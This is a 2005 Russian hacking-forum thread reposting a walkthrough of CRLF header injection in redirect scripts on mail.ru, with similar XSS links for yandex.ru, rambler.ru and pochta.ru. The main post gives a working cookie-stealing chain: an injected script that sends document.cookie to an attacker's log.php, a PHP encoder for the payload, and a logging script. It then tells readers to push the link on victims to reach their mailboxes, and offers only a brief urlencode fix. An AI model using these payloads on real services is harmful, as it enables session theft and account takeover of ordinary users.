Бажный header под микроскопом

Discussion in 'Уязвимости' started by silveran, 21 Nov 2005.

Thread Status:
Not open for further replies.
  1. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    если не нужна можно удалть- я не силён в XCC

    Бродя по просторам интернета мы часто видим url вида http://anyhost.com/redirect.php?url=http://otherhost.com Простой пользователь не долго думая просто кликает по нему и попадает на otherhost.com. Любопытный пользователь подставляет на место url адрес cвоей хомпаги и убеждается в кривости скрипта.
    Помимо простых и любопытных в интернете живут очень любопытные пользователи. Они вбивают ссылку в AccessDiver и начинают изучать работу скрипта.

    1. Суть бага.
    2. Практическое применение.
    3. Положение о распространенности ошибки.
    4. Средства защиты.

    Для танкистов напоминаю, что AccessDiver - "хакреский", как принято говорить в народе, инструмент. Скачать его можно на оффсайте проекта
    http://www.accessdiver.com/
    На момент написания этого текста последней версией утилиты была 4.173. Программа наиболее известна своей функцией HTTP Debuger. Воспользоваться ею можно, перейдя в режим эксперта и выбрав соответствующую функцию в меню Tools (F4 затем Сtr+F9 - в зависимости от версии клавиши могли поменять). Дальше я не буду акцентировать внимание на ее настройке, тк справится с дайвером может любой школьник.

    Для экспериментов я выбрал mail.ru, поскольку это самая известная почтовая служба в рунете и читателю будет особенно интересно узнать о баге на этом проекте ;) Давайте зайдем по ссылке http://go.mail.ru/urltracker?url=http://www.***.ru. Нас перекинет на самый лучший портал по компьютерной безопасности ;). Добавляем сайт в закладки и возвращаемся к мейлу. Запишем заинтересовавшую нас ссылку в поле HTTP Address, поставим Mode равный Get, жмем Connect.
    Перед нами появятся HTTP заголовки, возвращаемые сервером, примерно как на скриншете:
    [​IMG]
    Обратим внимание на подчеркнутую строчку. Встретив в заголовках Location:, браузер безоговорочно переносит нас по указанному url. Следовательно, мы можем подсунуть пользователю ссылку, как бы на мейле, а попадет он совсем не на мейл. Все это замечательно, но на практике ничего не дает.

    Обратим внимание на то, что строчки в заголовке разделены парой символов 0Dh 0Ah. А что, если приписать их в конце ссылки? Давайте посмотрим, что вернет нам сервер в ответ на запрос http://go.mail.ru/urltracker?url=null Hacked_by: drmist:

    [​IMG]

    Как интересно. Значит мы можем заставить сервер выдасть практически любой заголовок. Например изменить пользовательские кукисы. Но, опять же, это еще не так интересно, как то, что ждет нас впереди. Интересно то, что заголовки отделяются от тела документа последовательностью 0Dh 0Ah 0Dh 0Ah. Неужели мы способны выдать совершенно любую страничку? Вводим http://go.mail.ru/urltracker?url= %0D%0A%0D%0A<script>alert(document . cookie);</script><!-- и смотрим:
    [​IMG]
    Все, что желтым - это текст самого документа. Если в браузере включен JavaScript, то зайдя по ссылке мы увидим message box с нашими кукисами. Чтобы совершить XSS нападение, нужно:
    1) Составить страничку типа <script>document.location= 'http://drmist.ru/log.php?'+document.cookie;</script>
    2) Перевести ее в url-encode с помощью скрипта:

    <?php
    $url = "http://go.mail.ru/urltracker?url=";
    $s = " < script > document . location=' http://drmist.ru/log.php?'";
    $s . = " + document . cookie;< / script > ";
    $res = "";
    for($i = 0; $i < strlen($s); $i++)
    {
    $res . ="%";
    $t = ord($s[$i]);
    if($t < 16)
    $res . ="0";
    $res . =dechex($t);
    }

    echo $url."%0d%0a%0d%0a".$res;
    ?>

    Получим:
    http://go.mail.ru/urltracker?url= <sc...и т.д. (**)

    3) написать скрипт log.php и залить его на drmist.ru:
    <?php
    $fid = fopen("../log.txt", "a");
    fputs($fid, $_SERVER["QUERY_STRING"]." ");
    fclose($fid);
    header("Location: http://www.mail.ru");
    ?>

    Теперь можно впаривать волшебную ссылку (**) и получать кукисы жертвы.
    По ним можно сделать много полезных вещей, например получить доступ к почте, но об этом в другой раз, я и так сильно отвлекся от основной темы.

    Разумеется, не надо гнать на мейл, что это бажный ресурс, говно, и ваще не из нашей песочницы. Всем людям свойственно ошибаться, а админы мейл.ру ошибаются все реже и реже. Правда баги все еще остаются. И люди молчат о них не из-за корысти, а из-за страха неадекватной реакции администрации на их нахождение, которая, согласно статистике, имеет место. К счастью, наличие XSS еще не гарантирует получение доступа к почтовому ящику. Уверен, баг прикроют. Самое позднее - через 2 дня. Уязвим не только mail.ru. Настоятельно рекомендую ознакомиться:
    http://yandex.ru/redir/?url=[XSS]
    http://rambler.ru/click?_URL=[XSS]

    Признаться, я был сильно удивлен, когда узнал, что о таких уязвимостях писали на securitylab.ru еще 3 года назад (см Внедрение CRLF в PHP функцию header() от 10.09.2002), но поскольку о практическом применении бага я не слышал еще ни разу, то счел тему актуальной. К тому же врятли можно назвать не актуальным наличие багов на яндексе, рамблере и мейле.

    Исправить ошибку не сложно. Пусть есть уязвимый скрипт:

    <?
    if(!isset($url))
    $url="http://www.mail.ru";

    header("Location: $url");

    ?>

    Делаем из него неуязвимый:

    header("Location: ".urlencode($url));

    Если редирект планируется только в пределах сайта, то лучше всего сделать так:

    header("Location: http://www.mail.ru/".urlencode($url));

    Вот пожалуй и все, что я хотел сообщить. Позвольте на последок предложить еще несколько XSS:

    http://talk.mail.ru/article.html?ID=31836089&page=1"><h1>XSS</h1>
    http://www.pochta.ru/?lng=en"<h1>XSS</h1>


    Автор: drmist
     
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    вроде уже где-то на ачате(а помимо этого еще дох мест где) выкладывали
     
  3. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
Thread Status:
Not open for further replies.